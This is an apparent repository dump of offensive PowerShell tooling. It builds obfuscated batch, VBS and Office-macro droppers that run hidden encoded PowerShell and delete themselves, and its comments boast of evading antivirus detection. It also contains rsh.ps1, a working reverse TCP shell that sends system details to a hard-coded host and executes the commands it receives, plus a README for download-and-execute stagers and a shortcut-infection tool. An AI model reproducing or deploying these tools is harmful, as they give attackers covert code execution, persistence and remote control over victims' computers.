$randvar } 102 | $cnt++ 103 | 104 | } 105 | 106 | 107 | if ( $sType -eq 'vbs' ) 108 | { 109 | 110 | #[->] set variables for template generation 111 | $vbsCode = $newline 112 | 113 | #[->] initialize first function in vbs script 114 | $randfunc = rand-str 115 | $vbsCode += 'Function ' + $randfunc + '() ' + $newline 116 | 117 | #[->] Insert obfuscated command string. 118 | $vbsCode += $cmdfile 119 | 120 | #[->] initalize file system object 121 | $fso = rand-str 122 | $vbsCode += $newline 123 | $vbsCode += 'set ' + $fso + ' = ' + 'createObject("wscript.shell")' + $newline 124 | $vbsCode += $fso + '.run ' + $mainRvar + ',' + ' 0, ' + 'false' + $newline 125 | $vbsCode += 'End Function' + $newline 126 | $vbsCode += $randfunc 127 | 128 | #[->] vbs script in "vbsCode" is ready to be written to disk 129 | 130 | return $vbsCode 131 | 132 | } 133 | 134 | if ( $sType -eq 'vba' ) 135 | { 136 | 137 | #[->] set variables for template generation 138 | $newline = "`r`n" 139 | $vbaCode = $newline 140 | 141 | #[->] initialize first function in vbs script 142 | $randfunc = rand-str 143 | $vbaCode += 'Sub ' + $randfunc + '() ' + $newline 144 | 145 | #[->] Insert obfuscated command string. 146 | $vbaCode += $cmdfile 147 | 148 | #[->] initalize file system object 149 | $fso = rand-str 150 | $vbaCode += $newline 151 | $vbaCode += 'set ' + $fso + ' = ' + 'createObject("wscript.shell")' + $newline 152 | $vbaCode += $fso + '.run ' + $mainRvar + ',' + ' 0, ' + 'false' + $newline 153 | $vbaCode += 'End Sub' + $newline 154 | 155 | #[->] Set different syntax based upon macro type word vs execl 156 | if ( $vbaType -eq "word" ) { $vbaCode += "Sub AutoOpen(): " + $randfunc + ": End Sub" } 157 | if ( $vbaType -eq "excel" ) { $vbaCode += "Sub Workbook_Open(): " + $randfunc + ": End Sub" } 158 | 159 | #[->] vba script is ready 160 | 161 | return $vbaCode 162 | 163 | } 164 | 165 | } # end obfuscate-cmdstring 166 | 167 | function genenc-script { 168 | Param( 169 | [Parameter(Mandatory=$true, Position=0)] 170 | [Alias('LiteralPath')] 171 | [string[]]$script 172 | ) 173 | 174 | $scriptpath = Get-Item -LiteralPath $script 175 | $s = ($scriptpath.FullName) 176 | $sname = ($scriptpath.Name) 177 | 178 | #write-output "[1] $s " 179 | #write-output "[2] $sname" 180 | 181 | $encscript = b64enc $(get-content $s | out-string ) 182 | 183 | $newline = "`r`n" 184 | $cmdstrArray = @() 185 | [int]$lineccnt = '0' 186 | [int]$loop = '0' 187 | 188 | $randb64var = rand-str 189 | $randb64name = rand-str 190 | 191 | $randb64vbs_var = rand-str 192 | $randb64vbs_name = rand-str 193 | $randvbs_name = rand-str 194 | 195 | $randrunvar = rand-str 196 | $randrunname = rand-str 197 | 198 | $b64file = $randb64name + '.b64' 199 | $b64vbs_file = $randb64vbs_name + '.b64' 200 | $vbs_script = $randvbs_name + '.vbs' 201 | 202 | $cmdfile += $newline + 'set ' + $randb64var + '=' + $b64file 203 | $cmdfile += $newline + 'set ' + $randb64vbs_var + '=' + $b64vbs_file + $newline + $newline 204 | 205 | $command = 'powershell invoke-command -scriptblock "{iex([System.Text.Encoding]::UTF8.getString([System.Convert]::Frombase64String((get-content ''C:\temp\'+$b64file+'''|out-string))))}"' 206 | $enc_cmd = gen-enccmd $command 207 | $payload = 'powershell.exe -w hidden -enc ' + $enc_cmd 208 | $vbs_code = obfuscate-cmdstring $payload 'vbs' 209 | 210 | #[->] get vbs code to self-destruct 211 | #$randFso = rand-str 212 | #$vbs_code += $newline 213 | #$vbs_code += 'set ' + $randFso + ' = ' + 'CreateObject("Scripting.FileSystemObject")' + $newline 214 | #$vbs_code += $randFso + '.DeleteFile Wscript.ScriptFullName' + $newline 215 | 216 | $b64_vbs = b64enc $vbs_code 217 | 218 | $charArray = $encscript.ToCharArray() 219 | [int]$total = $charArray.count 220 | [int]$loopccnt = '0' 221 | 222 | foreach ($char in $charArray) 223 | { 224 | $loopccnt++;$lineccnt++;$loop++ 225 | if ( [int]$lineccnt -eq '1' ) { $cmdfile += 'echo | set /p="' + $char 226 | } else {$cmdfile += $char } 227 | 228 | if ($loopccnt -ne $total) { if ($loop -eq '8100' ) { $cmdfile += '">> .\%' + $randb64var + '%' + $newline; [int]$lineccnt = 0 ; [int]$loop = 0 } 229 | } else { $cmdfile += '">> .\%' + $randb64var + '%' + $newline } 230 | } 231 | 232 | $charArray = $b64_vbs.ToCharArray() 233 | [int]$total = $charArray.count 234 | [int]$loopccnt = '0' 235 | [int]$lineccnt = '0' 236 | [int]$loop = '0' 237 | 238 | foreach ($char in $charArray) 239 | { 240 | $loopccnt++;$lineccnt++;$loop++ 241 | if ( [int]$lineccnt -eq '1' ) { $cmdfile += 'echo | set /p="' + $char 242 | } else {$cmdfile += $char } 243 | 244 | if ($loopccnt -ne $total) { if ($loop -eq '8100' ) { $cmdfile += '">> .\%' + $randb64vbs_var + '%' + $newline; [int]$lineccnt = 0 ; [int]$loop = 0 } 245 | } else { $cmdfile += '">> .\%' + $randb64vbs_var + '%' + $newline } 246 | } 247 | 248 | 249 | $cmdfile += $newline 250 | $cmdfile += 'move .\%' + $randb64var + '% "C:\temp\"' + $newline 251 | $cmdfile += 'move .\%' + $randb64vbs_var + '% "C:\temp\"' + $newline 252 | 253 | # first command string generates a vbs file to user start up folder, this trips behavior engines. 254 | #$command = 'iex "`$e=(gc C:\Users\Public\'+$b64vbs_file+'|out-string);`$s=[System.Text.Encoding]::UTF8.getString([System.Convert]::Frombase64String(`$e));`$p=""C:\Users\$((gci env:username).value)\appdata\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\'+$vbs_script+'"";set-content `$p `$s -Encoding ASCII"' 255 | 256 | # second command string generates then executes a vbs file to the public roaming folder (changed to the temp folder) 257 | $command = 'iex "`$e=(gc C:\temp\'+$b64vbs_file+'|out-string);`$s=[System.Text.Encoding]::UTF8.getString([System.Convert]::Frombase64String(`$e));`$p=""C:\temp\'+$vbs_script+'"";set-content `$p `$s -Encoding ASCII"' 258 | 259 | 260 | $enc_cmd2 = gen-enccmd $command 261 | 262 | $cmdfile += 'powershell -enc ' + $enc_cmd2 + $newline 263 | $cmdfile += 'cscript C:\temp\' + $vbs_script + $newline 264 | $cmdfile += 'DEL "C:\temp\%'+$randb64vbs_var+'%" && DEL "%~f0"' + $newline 265 | $cmdfile += 'EXIT' + $newline 266 | 267 | # $encscript | out-file -filepath $encSpath -Force 268 | write-output "[+] Generating encoded script block ready for batch file use ..." 269 | 270 | $randbat = rand-str 271 | $batchfileName = $randbat + '.bat' 272 | $path = (Get-Item -Path ".\").FullName 273 | $filepath = $path + '\' + $batchfileName 274 | set-content $filepath $cmdfile -Encoding ASCII 275 | write-output "[+] Saved batch file to: $filepath " 276 | write-output "============================================================================" 277 | #write-output $cmdfile 278 | } 279 | 280 | write-output "[>] Ps12Bat persistent userland logon exec" 281 | write-output "============================================================================" 282 | $pshPath = '' 283 | $pshPath = read-host -prompt "[+] Enter path to powershell script " 284 | genenc-script $pshPath 285 | -------------------------------------------------------------------------------- /ps-batchfile/ps12bat_v3.ps1: -------------------------------------------------------------------------------- 1 | # This version does not create a base 64 encoded temp file, it loads strings 2 | # into a variable then decodes it and executes it in memory the only file 3 | # is the .bat file. Additional cmd command type obfuscation will be added to 4 | # clear text command string. This change was done to further evade AV behavior 5 | # detection engines. The down side to this method is that there is a 6 | # limitation on how much encoded characters can be included inline. I also added 7 | # a stripped down version of the reverse tcp client "rsh.ps1" which fits this 8 | # requirement on win 7 and 8.1 have not tested 10 yet. 9 | # 10 | # xor-function 11 | 12 | 13 | function b64enc { 14 | param($string) 15 | # Use this to encode strings to base64 format 16 | $encstring = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.getbytes($string)) 17 | return $encstring 18 | } 19 | function gen-enccmd { 20 | param($clrcmd) 21 | $bytescmd = [System.Text.Encoding]::Unicode.GetBytes($clrcmd.ToString()) 22 | $enccmd = [Convert]::ToBase64String($bytescmd) 23 | return $enccmd 24 | } 25 | function b64dec { 26 | param($encstring) 27 | # Don't have to worry about unsafe url characters since it's content not a url string 28 | $decstring = [System.Text.Encoding]::UTF8.getString([System.Convert]::Frombase64String($encstring)) 29 | return $decstring 30 | } 31 | function rand-str { 32 | $rint = get-random -max 10 -min 3 33 | $charArray = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ToCharArray() 34 | 1..$rint | % { $rchr += $charArray | get-random } 35 | $randstr = [string]::join("", ($rchr)) 36 | return $randstr 37 | } 38 | function genenc-script { 39 | Param( 40 | [Parameter(Mandatory=$true, Position=0)] 41 | [Alias('LiteralPath')] 42 | [string[]]$script 43 | ) 44 | $scriptpath = Get-Item -LiteralPath $script 45 | $s = ($scriptpath.FullName) 46 | $sname = ($scriptpath.Name) 47 | $encscript = b64enc $(get-content $s | out-string ) 48 | $newline = "`r`n" 49 | $cmdstrArray = @() 50 | [int]$lineccnt = '0' 51 | [int]$loop = '0' 52 | $charArray = $encscript.ToCharArray() 53 | $randvarArray = @() 54 | [int]$total = $charArray.count 55 | [int]$loopccnt = '0' 56 | foreach ($char in $charArray) 57 | { 58 | $loopccnt++;$lineccnt++;$loop++ 59 | if ( [int]$lineccnt -eq '1' ) 60 | { 61 | $randvar = rand-str 62 | $randvarArray += $randvar 63 | $cmdfile += 'set ' + $randvar +'='+ $char 64 | } else {$cmdfile += $char } 65 | if ($loopccnt -ne $total) { if ($loop -eq '120' ) { $cmdfile += $newline; [int]$lineccnt = 0 ; [int]$loop = 0 } 66 | } else { $cmdfile += $newline } 67 | 68 | } 69 | [int]$cnt = 1 70 | foreach ( $randvar in $randvarArray ) 71 | { 72 | if ( $cnt -eq '1' ) 73 | { 74 | $mainRvar = rand-str 75 | $cmdfile += $newline 76 | $cmdfile += 'set ' + $mainRvar + '=' + '%' + $randvar + '%' 77 | } else { $cmdfile += '%' + $randvar + '%' } 78 | $cnt++ 79 | } 80 | $cmdfile += $newline 81 | $randparam = rand-str 82 | $rvar = rand-str 83 | $cmdfile += 'start powershell -w hidden icm{param($'+$randparam+');$'+$rvar+'=[System.Text.Encoding]::UTF8.getString([System.Convert]::Frombase64String($'+$randparam+'));iex $'+$rvar+'}-args %'+ $mainRvar + '%' + $newline 84 | $cmdfile += 'DEL "%~f0"' + $newline 85 | $cmdfile += 'exit' + $newline 86 | write-output "[+] Generating encoded script block ready for batch file use ..." 87 | $randbat = rand-str 88 | $batchfileName = $randbat + '.bat' 89 | $path = (Get-Item -Path ".\").FullName 90 | $filepath = $path + '\' + $batchfileName 91 | set-content $filepath $cmdfile -Encoding ASCII 92 | write-output "[+] Saved batch file to: $filepath " 93 | write-output "============================================================================" 94 | } 95 | function main { 96 | # Any persistence will have to be loaded after you get a shell or code exec to prevent AV 97 | # from being tripped. Also instead of a reverse shell you can use a download cradle to retrieve 98 | # code, unfortunately this seem to be the only simple way to keep code off disk. 99 | write-output "[>] Ps12Bat userland exec" 100 | write-output "============================================================================" 101 | $pshPath = '' 102 | $pshPath = read-host -prompt "[+] Enter path to powershell script " 103 | genenc-script $pshPath 104 | } 105 | main 106 | -------------------------------------------------------------------------------- /ps-batchfile/readme.md: -------------------------------------------------------------------------------- 1 | # ps12bat 2 | Powershell script to batch script 3 | 4 | This will encode and embed the ps1 script selected in a batch script 5 | using base64 encoding. 6 | 7 | upon execution on target system it will extract the base64 encoded 8 | script to a base64 encoded file, then it will create a userland registry 9 | key to run a .cmd file which kicks off a powershell command to load the 10 | encoded file and execute it upon user login. 11 | 12 | # use 13 | ``` 14 | ps C:\>.\ps12bat.ps1 15 | ``` 16 | Then enter the path of the script you wish to convert. 17 | -------------------------------------------------------------------------------- /ps-batchfile/rsh.ps1: -------------------------------------------------------------------------------- 1 | function start-tcpClient 2 | { 3 | $IPAddress = '192.168.1.23';$Port = '443' # <= change this. 4 | function base64string-encode {param($string);$encstring = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.getbytes($string));return $encstring} 5 | function base64string-decode {param($encstring);$decstring = [System.Text.Encoding]::UTF8.getString([System.Convert]::Frombase64String($encstring));return $decstring} 6 | function gen-key {$charArray = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ToCharArray();1..70 | % { $rchr += $charArray | get-random };$randkey = [string]::join("", ($rchr));return $randkey} 7 | function get-info { 8 | $domain = $env:UserDomain;$LogOnServer = $env:LogOnServer;$userName = $env:UserName;$machineName = $env:ComputerName;$OS = (gwmi Win32_OperatingSystem).caption;$SysDescription = (gwmi Win32_OperatingSystem).description;$IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator) 9 | $summary = "[ System Summary ]`n" 10 | $summary += "Domain : $domain`n" 11 | $summary += "LogOn Server : $LogOnServer`n" 12 | $summary += "User Name : $userName`n" 13 | $summary += "ComputerName : $machineName`n" 14 | $summary += "Admin : $IsAdmin`n" 15 | $summary += "OS version : $OS`n" 16 | write-output $summary 17 | } 18 | function gen-enccmd {param($clrcmd);$bytescmd = [System.Text.Encoding]::Unicode.GetBytes($clrcmd.ToString());$enccmd = [Convert]::ToBase64String($bytescmd);return $enccmd} 19 | function dec-enccmd {param($enccmd);$cmdString = [System.Text.Encoding]::Unicode.getString([System.Convert]::Frombase64String($enccmd));return $cmdString} 20 | function rand-str {$rint = get-random -max 10 -min 3;$charArray = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ToCharArray();1..$rint | % { $rchr += $charArray | get-random };$randstr = [string]::join("", ($rchr));return $randstr} 21 | try 22 | { 23 | $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) 24 | $stream = $client.GetStream() 25 | [byte[]]$bytes = 0..65535|%{0} 26 | $profile = ( Invoke-Expression -Command get-info 2>&1 | Out-String ) 27 | $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell: Copyright (C) 2015 Microsoft Corporation. All rights reserved.`n" + "$profile") 28 | $stream.Write($sendbytes,0,$sendbytes.Length) 29 | $sendbytes = ([text.encoding]::ASCII).GetBytes("RSH => " + (Get-Location).Path + '> ') 30 | $stream.Write($sendbytes,0,$sendbytes.Length) 31 | while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ 32 | $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding 33 | $data = $EncodedText.GetString($bytes,0, $i) 34 | try{$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )} 35 | catch{} 36 | $sendback2 = $sendback + "RSH => " + (Get-Location).Path + '> ' 37 | $x = ($error[0] | Out-String) 38 | $error.clear() 39 | $sendback2 = $sendback2 + $x 40 | $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) 41 | $stream.Write($sendbyte,0,$sendbyte.Length) 42 | $stream.Flush() 43 | }$client.Close();if ($listener){$listener.Stop()} 44 | }catch{} 45 | } start-tcpClient 46 | -------------------------------------------------------------------------------- /ps-obfuscate/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /ps-obfuscate/README.md: -------------------------------------------------------------------------------- 1 | # PSobfuscator 2 | 3 | The result of porting some functionality from gen-obfuscated into the powershell clients. 4 | These are those functions, plus some original content in a stand alone version that can 5 | be run from windows to generate payloads to get initial access. 6 | 7 | This is not complete and the under utilized functions will be expanded upon, or you can 8 | do you own thing and not have to wait. 9 | 10 | Available functions. 11 | 12 | ### simple-downloader "Url-hosting-script" 13 | Generates an obfuscated vbs script that will download and execute 14 | a powershell script. After execution it rewrites itself into a txt 15 | file with bogus info and opens in notepad. 16 | 17 | ### looping-stager "Url-hosting-script" 18 | Generates a command string for use kicks 19 | of a looping downloader. 20 | 21 | ### gen-shorcut "Url-hosting-script" 22 | Creates a shortcut that downloads and executes the script found in the 23 | provided url. 24 | 25 | 26 | ### shortcut-infect "name-of-lnk" "Url-hosting-script" 27 | Modifies the specified existing shortcut to run the original program 28 | and also execute a download and execute command string. 29 | 30 | example: 31 | ``` 32 | shortcut-infect "Google Chrome.lnk" "http://some-doman[.]com/hello.ps1" 33 | ``` 34 | requires the http:// or https:// in the URL. 35 | 36 | Only run this on the target system. 37 | 38 | ### obfuscate "name of text file / script" 39 | Uses a polyalphabetic obfuscation method on base64 strings writes 40 | obfuscated string to file and provides a de-obfuscation key. 41 | 42 | 43 | ### de-obfuscate "name of text file / script" "key" 44 | Performs the inverse of the obfuscation function requires the text 45 | file with the obfuscated base64 data and de-obfuscation key as parameters. 46 | 47 | 48 | ### gen-key 49 | generates a random alphabetic string for use with the obfuscate-base64 50 | function. 51 | 52 | 53 | ### obfuscate-base64 "(action:hide or clear ), (key: obfuscation or de-ofuscation), (base64-string)" 54 | The function that contains the obfuscation engine, it works only 55 | with clear base64 data. It's UTF8 so do not use this for 56 | powershell encoded commands. 57 | 58 | 59 | ### byte-encode "binary-to-obfuscate" "key" 60 | Performs byte-encoding prior to converting to obfuscated base64 61 | provide key de-obfuscation. 62 | 63 | 64 | ### byte-decode "file-containing-obfu-base64" "key" 65 | performs the reverse of byte-encode, requires the de-obfuscation key. 66 | 67 | 68 | ### gen-enccmd "your command string" 69 | Generates a PowerShell formatted encoded command. Insure to quote 70 | your command string. 71 | 72 | example: gen-enccmd "cmd /c ipconfig /all" 73 | 74 | ### dec-enccmd "Your encoded command string" 75 | Decodes the base64 string and displays the original string. 76 | 77 | 78 | IMPORTANT !!! 79 | Be sure to dot source this script or iex to import these function 80 | into your current powershell session for this to work. 81 | 82 | example: 83 | ``` 84 | PS C:\> . .\PSobfuscator.ps1 85 | ``` 86 | 87 | 88 | --------------------------------------------------------------------------------